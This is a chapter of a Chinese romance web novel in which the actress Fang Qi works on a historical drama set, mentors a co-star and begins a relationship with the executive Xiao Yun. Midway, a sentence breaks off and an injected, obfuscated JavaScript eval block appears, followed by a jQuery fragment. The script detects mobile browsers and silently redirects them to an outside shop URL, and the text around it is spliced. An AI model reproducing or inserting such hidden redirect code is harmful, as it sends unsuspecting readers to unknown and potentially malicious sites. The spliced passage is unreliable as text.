方琦进组第一天，便在泥地里滚了三圈。
新戏名叫《长安旧案》，是一部历史悬疑剧。男主角是大理寺少卿，女主角则是为了替父亲翻案、女扮男装进入大理寺的仵作；方琦饰演的女二号沈令仪，表面是守寡三年的侯府少夫人，暗地里却一直追查丈夫死亡的真相。
这个角色会琴棋书画，懂人情世故，还会些不便让外人知道的武功。前半段端庄温婉，后半段却要提刀追凶，既有大段文戏，也有许多动作场面，恰好介于阿若与真正的方琦之间。
第一场戏，便是沈令仪在雨□□院里追捕一名刺客。
青石板上铺了水，踩上去十分湿滑。武行从回廊翻身而下，方琦侧头避开迎面一刀，左手扣住对方手腕，右脚在石阶上一点，腰身随之旋转，连续过了七招；最后一招，她没有按照自己习惯直接卸掉对手胳膊，而是借长袖遮掩，将一枚道具银针抵在男人颈侧。
“咔！”
动作导演从监视器后站起来，满意地拍了拍手，“方老师，走位一遍过。近景再保一条，眼神收一点。沈令仪还不想让人知道她会武功，不能一上来就像要灭口。”
“好的。”方琦收回银针，伸手将武行拉起来，“刚才手腕没扭到吧？”
“没有没有。”年轻武行受宠若惊，连连摆手，“方老师您收力收得很准。”
方老师。
刚进《孤星剑》时，剧组里的人叫她方小姐；拍到中段，因为李晖认可她，偶尔也有人客气地喊方老师，可那时这个称呼里多少带着几分对资本和后台的忌惮。如今再走进一个完全陌生的剧组，场务、化妆师和年轻演员已经自然而然地改了口。
午休时，饰演女主角的年轻演员林薇薇抱着剧本找了过来。
林薇薇二十二岁，电影学院刚毕业，长着一张清秀的圆脸，见人先笑，性格却比剧中女扮男装的仵作还要腼腆。她在方琦身旁站了半天，直到单小贝搬来椅子，才小心翼翼地坐下。
“方老师，我能问您一个问题吗？”
“问吧。”
“明天那场对质戏，导演说我看沈令仪的时候太弱了。可角色本来就怕侯府，我要是演得很强，不就不对了吗？”
方琦翻到她说的那一页。女主角已经查到沈令仪隐瞒证据，却因为对方身份尊贵，不敢直接质问；剧本写的是“她压住惧意，抬头迎上沈令仪的目光”。
“怕不等于弱。”方琦将剧本递回去，“手可以抖，声音也可以不稳，眼睛别躲。她既然敢拿着证据来问沈令仪，就不可能连人都不敢看。”
“可我一紧张就会眨眼。”
“眨就眨。人害怕，本来就会眨眼。”她想起许宁第一次给父亲打电话时的状态，“别把害怕演没了。她怕，可她还是要问。”
林薇薇怔怔听完，立即拿着剧本在旁边试了一遍。第一句声音仍有些发飘，眼神却稳稳落在方琦脸上，没有像从前那样说到一半便低头。
“这样？”
“好多了。”
林薇薇眼睛一亮，连声道谢。她走后，单小贝从旁边探出脑袋，满脸新奇：“方琦姐，你现在都会指导别人演戏了。”
“只是说自己的理解。”
“可你以前连自己都演不明白。”
“……”
虽然是事实，从助理嘴里如此直白地说出来，怎么听都不太顺耳！方琦抬手拿剧本敲了下她的脑袋，单小贝捂着头跑远，一边跑还一边嚷嚷“方老师打人了”，引得休息棚里笑成一片。
下午正式开拍，林薇薇果然将那场对质演得好了许多。她手指紧紧攥着证物，声音微微发抖，一双眼睛却始终没有避开；方琦饰演的沈令仪端坐上方，原本带笑的目光一点点冷下来，直到最后才放下茶杯，问她究竟想查什么。
“咔。”导演看完回放，满意地点头，“这一条过。薇薇的状态对了，方琦最后那个停顿也很好。”
林薇薇一出镜头便兴奋地朝方琦挥手。四周工作人员看见这一幕，再叫“方老师”时，眼神里又多了几分真正的敬意。
奖杯能让人先高看一眼，可要让这份尊敬留在片场，仍得靠一场一场戏。
“她和萧昀到底在没在一起啊？”
“肯定在吧？听说萧总都追着方琦到西北去了。”
“可是两个人从没公开承认过，获奖那天萧昀也没出现。”
“听说早分了，萧公子身边怎么可能没有更好更大牌的备选。要还在一起，方琦可能来给我们演女二吗？”
“分了还能牵手？”
“你亲眼看见了？”
“没有，隔壁剧组的灯光师说的……”
化妆车后面的议论声压得很低，仍旧一字不漏地飘进了方琦耳朵。单小贝气得想绕过去抓现行，被她一把拉住。
“别管。”
“可是他们说你被甩了！”
“说我被甩，又不会真的少块肉。”方琦低头整理护腕，“再说，我们本来就还没正式确定。”
单小贝睁大眼睛，“都、都亲过了，还没确定？”
方琦动作一顿，“你怎么知道？”
“我不知道！”单小贝立刻捂住嘴，眼神却心虚地往旁边飘，“是齐秘书喝多了以后，在工作群里发了一个亲吻表情，又迅速撤回……大家猜的。”
“哪个工作群？”
“就……咱们公司和华融公关对接时留下的那个。”
很好，八卦群是吧？唯独不拉两个当事人进群是吧？齐秘书大概真觉得自己的职业生涯太过顺利，想主动增加一点难度！
当天晚上，齐沐云收到了一条来自方琦的消息。
【听说你在工作群发了多余的表情？】
他盯着屏幕，背心里瞬间冒出一层冷汗。那晚他只是看见Boss牵手成功，一时激动，想给单小贝单独发个表情庆祝；谁知道连续熬夜导致眼神不好，竟误发进了三十多人的对接群。虽然两秒内已经撤回，显然还是有人看见了。
齐沐云飞快打字：【操作失误，已经深刻反省。】
【萧昀知道吗？】
【暂时不知道。】
【你觉得他以后会知道吗？】
齐沐云看着这句意味深长的询问，手指僵在屏幕上。主动坦白，可能死得痛快；等Boss从别人嘴里得知，可能死得更加完整。经过三秒钟的职业风险评估，他迅速作出决定。
【我现在去写情况说明。】
第二天，萧昀在邮箱里收到一份标题为《关于误发单个表情符号及其舆情风险的内部检讨》。全文两千三百字，从发送原因写到整改方案，最后郑重承诺，以后涉及老板私人感情的任何表情，一律先保存草稿、核对收件人，再进行二次确认。
萧昀看完，沉默很久，只回了四个字。
【下不为例。】
齐沐云如获大赦，刚准备关闭邮件，又收到第二条。
【群里有谁看见？】
齐沐云心领神会。看来Boss真正在意的，根本不是秘书的操作规范。
半个月后，《长安旧案》拍到沈令仪夜闯乱葬岗。
影视城郊外刚下过一场雨，人工泥地与真实泥水混在一起，踩一脚便陷下去半寸。方琦吊着威亚从枯树上荡下来，落地时右膝跪进泥里，长刀横挡，接连挡下三名黑衣人的攻击；一场戏拍了四遍，等导演终于喊过，她的浅灰色戏服已经沾满泥点，脸颊也被溅出一道灰痕。
单小贝抱着毛巾和热水冲过来，“方琦姐，快擦擦！待会儿还有采访。”
“不是改到明天了吗？”
“临时又说今天能来。”
方琦接过毛巾，正准备去休息棚，四周的工作人员忽然接连站了起来。制片人亲自从入口处迎进来，脸上堆着热情得近乎灿烂的笑容；跟在他身边的男人身形修长挺拔，穿着剪裁利落的深黑色西装，一双深邃的鹰目越过来往人群，很快便准确落在了她身上。
萧昀。
他回国了？
方琦下意识低头看了眼自己。戏服下摆全是泥，袖口破了一块，发髻被威亚带得有些松散，脸上更是灰一道白一道；平日拍戏从没觉得有什么，如今被喜欢的人撞个正着，竟然生出了几分从前绝不会有的不好意思。
早知道，刚才最后一条就应该先补补妆！
不对。拍打斗戏补什么妆？这不是本末倒置吗？可萧昀为什么偏偏挑在她最狼狈的时候出现，就不能提前发条消息？
方琦心里的两个声音打得不可开交，人却已经站在了原地。
萧昀快步走过来，脚步在她面前停下。半个月不见，他下颌清减了些，眉眼间带着长途飞行留下的疲惫，双眼却依旧深邃而明亮，像是夜色里高悬的双星。
“你怎么回国也不提前说？”方琦问。
“想看你工作。”
“工作有什么好看的？”她拿毛巾擦了擦脸，反而将那道灰痕抹得更开，“我现在这样……是不是很难看？”
话刚出口，方琦便有点后悔。
这问法怎么听都像那些恋爱以后患得患失的小姑娘！她以前连妆花了都不在意，如今竟然开始关心萧昀眼里的自己好不好看了？喜欢一个人难道真能把脑子里许多没用的经脉打通，让她凭空多出一堆从未有过的烦恼？
萧昀没有立即回答。
他抬起手，动作停在方琦额前，先用目光询问。见她没有躲开，才轻轻从松散发髻里拿下一截枯草；随后，他又低头看了看她磨红的指节、沾满泥水的衣摆，深邃的眼底慢慢浮出笑意。
“不会。”
“真的？”
“嗯。”萧昀望着她，一字一句答得认真，“不难看。很好看。”
方琦脸颊一下子热了。她飞快别开眼，将用过的毛巾塞给单小贝，假装刚才根本没有主动问过那个问题。
制片人站在旁边，原本还想同萧昀介绍一下剧组进度，见到这番场面，顿时不知道自己应该继续留下，还是立即消失；他悄悄看向齐沐云，试图从这位专业秘书脸上得到一点指引。
齐沐云眼观鼻、鼻观心，一副修炼成佛的平静模样。只要把自己当空气，站着还是消失，问题都不大。
十分钟后，三辆餐车陆续驶进片场。
工作人员搬出长桌，热菜、海鲜、甜点、水果和饮料一样样摆开，足足占满了整片休息区。刚才还在泥地里啃盒饭的剧组人员迅速围过来，年轻演员看见甜点台，兴奋得连戏服都来不及换。
“萧总，这……太客气了。”制片人望着那几只铺满冰块的海鲜盘，笑得眼睛都快找不见了。
“顺便。”萧昀回答。
方琦没接话，单小贝激动地直蹦：“从丽兹酒店订的三辆餐车，也是顺便吗？萧总你一定天天都要顺便过来看看我们啊！”
萧昀面不改色，“齐沐云顺便。”
突然被点名的齐秘书立即点头，“对，我顺便。”
至于他为了这个“顺便”，提前两天核对剧组人数、询问忌口，又临时协调餐车进入影视城的通行证，当然完全没有告诉方琦的必要。老板追人，秘书受累，天经地义嘛……才怪！
“方琦拿了奖，我答应替她庆祝。”萧昀转向制片人，“今天只请大家吃饭，不谈投资，剧组也按原来的安排拍。”
制片人悄悄松了口气。他倒不是不想要华融的钱，只是萧昀名下或华融参股的公司，差不多已经出现在这部电视剧十几个投资商的大股东名单里；真要临时增加一笔私人投资，财务和舆情处理起来都十分麻烦。
导演闻讯赶来，先感谢了萧昀的招待，随后又看向方琦：“你今天的戏拍完了，采访也改回明天。晚上没别的安排，可以走。”
萧昀没有抢先替她答应，只站在旁边耐心等着。
方琦翻了翻通告单，确认没有遗漏，又同动作导演交代完明天的走位，才回休息车换衣服。等她卸妆出来时，片场的自助餐已经吃得热火朝天，连周围两个剧组都有人端着盘子偷偷过来蹭饭。
单小贝抱着一大块蛋糕，含糊不清地叮嘱：“方琦姐，晚上少吃一点，明天还有晨戏。”
“到底谁是助理？”
“我啊。”她咽下蛋糕，理直气壮地回答，“所以才要替你多吃点！”
方琦懒得理她，跟着萧昀向停车区走去。
她走以后，片场里的讨论彻底没了顾忌。
林薇薇捧着一只装满甜点的盘子，小声问动作导演：“萧总真是专程来接方老师的？”
“人都带走了，还能是来接制片人？”
制片人正在旁边切牛排，闻言立即摆手，“别带我，我有家室。”
“那他们到底在没在一起？”
“管人家呢。”动作导演咬了一口烤虾，“方老师按时拍戏、动作自己上，萧总又没要求加戏删戏。谈恋爱又不影响工作。”
这句话很快得到周围人的赞同。
刚进组时，大家还因为“一个亿”对方琦存了几分怀疑，担心她拿奖以后架子更大，也担心萧昀隔三岔五来片场干预；半个月下来，方琦每天最早到场，动作戏从不用替身，萧昀更是第一次出现。所谓后台，既没让导演少骂一句，也没替她免掉一身泥。
说到底，演员在不在恋爱，远没有第二天能不能准时到场重要。
单小贝原本还竖着耳朵听八卦，听到这里，立刻骄傲地挺起胸膛：“我们方琦姐当然敬业！在西北连续吃七天土豆都没抱怨！”
“为什么吃七天土豆？”
“因为剧组穷啊。”
“那这回多吃点海鲜。”
一群人瞬间将明星恋情抛到脑后，继续围攻自助餐。娱乐圈里的八卦固然好吃，却到底没有真正的龙虾顶饱。
晚饭设在一座临湖的小院里。
玻璃窗外亮着几盏暖黄色庭院灯，夜风吹过水面，树影便跟着轻轻晃动。包间里没有其他人，桌上也没摆什么夸张菜色，只放着一只方方正正的深蓝色盒子。
“给我的？”方琦坐下以后问。
“嗯。”
她打开盒盖。里面是一只透明水晶底座，大小恰好能放下最佳新人奖的奖杯；底座四面没有复杂装饰，只有正面刻着一行很小的字：《孤星剑》，阿若，方琦。
“为什么送这个？”
“你拿奖那天，我不在。”萧昀看着她，“庆功宴可以补，送给你的礼物，自然也该补。”
方琦指尖轻轻蹭过那行刻字，“没有你的名字？”
“奖是你自己拿的。”萧昀答得理所当然，“不刻你的，刻谁的？”
“也有你一个亿的保荐啊。”
萧昀尴尬地咳了一声。
“谢谢。”方琦开完玩笑，合上盒盖，将礼物放到身旁。
菜很快送上来。两人聊了几句《长安旧案》的角色，萧昀问得认真，却没有像从前那样立即分析项目投资和市场前景；直到甜点端上来，他才将勺子放到一边，像是已经忍了很久，终于问出真正关心的事。
“观察期还有多久？”
方琦抬眼看他。
萧昀表面仍维持着镇定，搭在桌沿的手指却绷得笔直，显然比等待任何一桩收购案的结果都紧张。
“本来今天到期。”方琦故意说。
“结果呢？”
“不通过。”
萧昀眼里的光一下子暗了。
他沉默两秒，像是在回想自己这段时间究竟哪里做错了，“是因为西北探班？”
“不是。”
“那是因为我问闵霖？”
“也不是。”
“顾安琪的黑稿，我没有——”
“不通过，是因为不用再观察了。”方琦终于没忍心继续看他自我检讨，将手从桌面伸过去，轻轻握住他，“萧昀，我喜欢你，我不用再考察你什么，你也不用再这样小心翼翼地讨好我了，我希望你轻松一些。”
萧昀的声音戛然而止。
他的目光落在两人交握的手上，又慢慢抬起来。那双平日冷峻深邃的鹰目此刻亮得惊人，像是窗外湖面所有灯火一瞬间都落了进去。
“那我现在是什么身份？”
“男朋友。”方琦顿了顿，故意补充，“暂定。”
“暂定多久？”
“看你表现。”
萧昀嘴角终于扬了起来。他反握住她的手，掌心温暖，五指却仍小心控制着力气，像是得到了极珍贵的东西，连碰一下都怕惊动。
“我会申请长期合同。”
“感情不是生意。”
“那可以申请长期关系吗？”
“也看表现。”
“评分标准能公开吗？”
“不能。”
“申请复议？”
“驳回。”
两个人对视几秒，同时笑了。
笑过以后，方琦重新认真起来，“先说好，有两件事不能犯。”
“你说。”
“第一，你必须尊重我的感受，不许背着我去沟通我参与的项目。第二，不许再打着‘为我好’的名义替我作任何决定。”
“好。”萧昀没有犹豫，随后又问，“我也有一个要求。”
“什么？”
“遇到困难和危险，别总瞒着我。”他盯着她，鹰目里的笑意慢慢淡下来，“我可以不插手，也可以按你说的做，但至少让我知道。”
“告诉你，你也只能担心。”
“那也比最后一个知道好。”
方琦心头一软。她从前总觉得，独立便是什么都自己承担，伤了、痛了，只要还能站起来，就不必告诉任何人；可萧昀没有要求她听话，也没有抢着替她处理，只想在她受伤时，至少拥有陪着担心的资格。
“好。”她点头。
萧昀眼底重新浮出笑意，拇指轻轻蹭了蹭她的手背，“那男朋友有奖励吗？”
“没有。”
“观察期都有。”
“观察期是鼓励进步，转正以后应该靠自觉。”
“……”
这可是个庆祝的好日子，萧昀正想继续争取，方琦已经站起身，绕过桌角走到他面前。她俯下身，在那双瞬间睁大的鹰目注视下，轻轻吻住了他的唇。
这一次，不再只是蜻蜓点水。
萧昀起初僵得一动不动，几秒后才抬手揽住她的腰；手臂收紧以前，他仍旧克制地停了一瞬，等方琦没有后退，才将人慢慢拉近。
窗外湖水被夜风吹开一圈圈涟漪，暖黄色灯影也跟着碎成大片细光。方琦闭上眼，鼻间是他身上熟悉的淡淡木质气息，身体没有半点恐惧，心跳却快得几乎撞出胸口。
原来，主动走向一个人，是这样的感觉。
两人离开小院时，已经快到晚上十一点。
齐沐云将车停在门口，见两个人并肩出来，第一时间便发现自家Boss的领带比进去时歪了半寸；方琦的口红也淡了一点，耳根还残留着尚未完全褪去的红晕。
他只看了一眼，便迅速将视线移到夜空，努力让自己表现得像个对任何细节都不感兴趣的专业司机。
“我来开。”萧昀从他手里拿过钥匙。
“好的，Boss。”
齐沐云答应得格外痛快，转身走向后面的工作车。走出十几步，他终于忍不住拿出手机，想找人分享一下八卦，但记起上一次误发表情的检讨还在邮箱里躺着，绝不能好了伤疤忘了疼。老板的恋爱进度，往后只能记在脑子里，不能留下任何书面证据！
回程的车上，方琦说起了董兰兰。
“她还挺值得一交的。”她靠在副驾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904067|212696||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
驶座上，看着窗外不断后退的灯光，“不是因为换角一事她没计较，也不是因为她替我说话。我只是觉得，她性子温和，说话也真诚。”
萧昀握着方向盘，目光平稳看向前方，“那挺好。”
“你不问问宋奕？”
“这是你的朋友。”他回答得十分自然，“我问他干嘛？”
只是很平常的一句话，方琦心里却忽地意识到，自己在他心里更重要。她将右手伸过去，放到两人中间的扶手箱上；萧昀很快看见，腾出一只手握住她，嘴角也慢慢扬了起来。车辆穿过长长的沿湖公路，两只手一直没有松开。
没过几天，娱乐圈又出了一条不大不小的新闻。
国内新能源车企“远驰汽车”取消了原定与顾安琪的代言合作，新代言人在当天晚上正式公布：董兰兰。
单小贝抱着手机，兴奋得在化妆间转了三圈，“活该！让她天天买黑稿害人，这回汽车代言飞了吧？听说好几个一线户外运动品牌也在评估她，远驰一退，后面那些肯定都得重新考虑！”
方琦正在拆头套，闻言从镜子里看了她一眼，“你消息倒灵通。”
“圈里都传遍了。远驰现在是全球市值最高的车企，海外卖得特别好，这个代言多少一线女星盯着呢！”单小贝越说越兴奋，“而且董兰兰刚替你发声，转头就拿到这么大的资源，网上都说好人有好报。”
“这些一线小花之间的争斗，真够残酷的。”方琦小心取下发钗，“一个代言出问题，后面几家都要跟着重新评估。”
“品牌当然怕风险啊。对了，华融好像也是远驰的投资方。”
方琦动作一顿，“华融？”
“嗯，我刚才看财经博主说，远驰C轮的时候华融就注资了，现在还是重要股东。”单小贝低头继续刷手机，完全没察觉她的神色，“难怪能做成全球大品牌，大公司眼光就是好。”
方琦盯着镜中的自己，微微皱起眉。
董兰兰刚替她公开说话，顾安琪的代言便转到董兰兰手里；偏偏品牌背后还有华融投资，怎么看都带着一丝过于巧合的味道。
可远驰换谁代言，是品牌和董兰兰之间的事。她没有资格替朋友追问资源从何而来，更不能因为和萧昀确定了关系，就对华融所有投资项目指手画脚。何况，顾安琪接连被查出购买黑稿，品牌风控重新评估也十分正常。
方琦想了片刻，到底没有给萧昀打电话。
这不是她的事。
远扬娱乐却没有方琦这么平静。
远驰取消合作的通知送到公司时，顾安琪正在拍一组户外品牌宣传照。Diana连续打了六通电话，也没能让品牌方改变决定；对方给出的理由十分官方：艺人近期舆情风险上升，与品牌“安全、可信赖”的核心价值不符。
“舆情风险？”顾安琪将通知摔到桌上，冷笑出声，“网上骂我的人多了，哪次影响过代言？偏偏董兰兰替方琦说了两句话，远驰就突然换人，你真觉得是巧合？”
Diana没有回答。
她当然也怀疑华融。可远驰风控团队早在“片场打人”黑稿被反噬以后便启动了重新评估，顾安琪团队向营销号付款的截图更是在业内传了个遍；即便没有萧昀，这份代言也未必保得住。
更何况，品牌可以接受艺人有争议，却很难接受艺人亲自制造争议。
“现在最重要的不是追查董兰兰。”Diana将其他品牌的评估邮件放到她面前，“先停掉所有针对方琦的宣传，配合法务处理营销公司，保住后面的户外代言。”
“凭什么停？”
“因为再继续，损失的不只是一个远驰。”
顾安琪盯着那几封邮件，脸色难看到了极点。几个月前，方琦还只是个任她挑刺、删戏、使唤替身的小演员；如今她失去顶级代言，对方甚至不必出手。黑稿、付款记录、被她当作一次性工具的营销号，一件件都成了留在纸面上的把柄。把她拖到今天的，并不是方琦身后的萧昀。
同一天下午，董兰兰给方琦发来一条消息：【远驰的代言，我签了。】
方琦刚下戏，回复：【恭喜。】
【网上有人说是萧昀替你报仇，再把资源送给我。】
【你信？】
董兰兰隔了一会儿才回：【品牌之前也联系过我，经纪人当时没敢告诉我，怕最后谈不成。应该和你没关系，你也别去问萧总。】
紧接着又来一句：【不过华融确实是股东。这个圈子里，很难有完全没关系的资源。】
方琦盯着最后一句，指腹在屏幕上停了片刻。
她从前追求绝对公平，后来才发现，人与人的关系、公司之间的投资、导演过往的合作，本就像一张层层交叠的网。她能守住的，是不拿关系替代工作，也不让别人因为她的私人感情被强行赶走。
至于董兰兰能不能做好代言，自然要由品牌和市场评价。
【既然签了，就加油吧。】方琦回复。
【方老师开始指导工作了？】
【朋友提醒。】
对话框很快跳出一个笑脸。
这是董兰兰第一次不通过宋奕、不通过博通，以朋友的身份同她分享一件好事。
《长安旧案》的拍摄稳步推进。
萧昀回国待了不到一周，又飞去欧洲处理工作；方琦则连续拍了半个月夜戏，两个人真正能空下来通话的时间少得可怜，联系重新变成了一条条简短消息。
【今天从屋顶跳了三次。（哭）】
【护膝戴了吗？】
【戴了。动作导演说我的落地比武行还稳。】
【很厉害。】
隔天凌晨两点，萧昀发来一句：【会议结束。】
方琦早晨五点起床化妆，看到以后回复：【吃饭，睡觉，不许逞强。】
【已经吃了。】
【照片。】
那头沉默五分钟，发来一张摆拍痕迹十分明显的三明治照片。方琦将图片放大，发现包装上的生产日期是昨天，毫不留情地拆穿：【齐先生临时从会议室冰箱里找的？】
【……】
【去吃热的。】
【好。】
消息都很短，没有甜言蜜语，也没有接二连三的表情包。可方琦每次在片场等灯光、等布景，摸出手机看见那个名字，紧绷了一天的神经都会慢慢松下来。
过去她把依赖当作软弱，觉得真正强大的人就该无坚不摧，不需要任何人回应；现在才知道，一句“吃饭了吗”，一张仓促拍来的照片，或者深夜里的“收工了”，也能成为漫长工作里的一点慰藉。
她依然在独自走路，只是路上多了一个惦记的人。
两个月里，两人真正见面的次数只有三次。
第一次，萧昀转机路过北城，凌晨在片场外等了四十分钟，只为给她送一碗还热着的粥。方琦拍完夜戏出来，刚坐进车里，他的司机便提醒十五分钟后必须出发去机场；两个人连完整的话都没说上几句，萧昀只确认她手上的擦伤已经上药，便又匆匆离开。
第二次，方琦难得休息半天，主动去了华融东方大厦。
她没有提前通知，拎着单小贝强烈推荐的两份午餐走进前台。接待人员一开始没认出她，先按照规定请她登记，随后认出她是萧昀的绯闻女友，又打电话向总裁办确认；消息传到顶层时，萧昀正在开一场跨国视频会议，听说方琦在楼下，原本流畅的英文发言竟停了整整三秒。
“让她上来。”
说完又觉得不妥，立即改口：“我下去。”
会议室里的高管们眼睁睁看着向来惜时间如金的负责人暂停议程，亲自乘电梯下楼。五分钟后，他带着一个戴帽子口罩的年轻女人重新回来，眉眼间的冷意已经消失大半。
方琦本来只想给他送饭，没想到一出电梯便迎上十几道好奇目光。她扫了一眼屏幕上密密麻麻的数据，立刻明白自己来得不是时候，“你先开会。”
萧昀看了眼时间，“还有四十分钟。”
“我有三个小时。”方琦将午餐放进他怀里，“够你开完再吃。”
“你在办公室等我？”
“不然呢？站在会议室门口看你？”
齐沐云在后面飞快低下头，强忍住笑。萧昀盯着方琦看了几秒，眼底那点被突然探班勾出来的惊喜到底没有藏住，随后将午餐递给齐沐云，“放到办公室。会议按原议程继续。”
四十分钟后，会议准时结束，一分没多、一分没少；几位高管离场时，目光忍不住向办公室方向飘，终于亲眼确认，传闻中唯一能让萧总按时吃饭的人确实存在。
第三次见面最普通。
两人在公寓附近的超市买东西。萧昀推车，方琦挑蔬菜；走到零食区时，他认真拿起两种爆米花比较配料表，显然还记得地下车库那场没能好好看完的电影。
“买这个做什么？”方琦问。
“下次看电影。”
“你有时间？”
“可以安排。”
“先别安排我的。”
萧昀立即将“可以把你周六晚上的品牌活动推迟”这个尚未出口的方案咽了回去，换成十分守规矩的询问：“那你什么时候有空？”
方琦翻出自己的行程表，最终在半个月后找到一个晚上。萧昀当场写进日历，重要程度设成最高，备注只有五个字：一起看电影。
他们的恋爱没有鲜花铺路，也没有每天长时间约会。更多时候，只是有人在会议间隙看一眼通讯消息，有人在等灯光时提醒对方吃饭；偶尔挤出的几十分钟，也会因为航班、拍摄和工作被切得七零八落。
可正是这些平常得不能再平常的相处，让方琦第一次知道，所谓两个人过日子，并不全是惊天动地的承诺，也并不是她想象的被挤占的自我。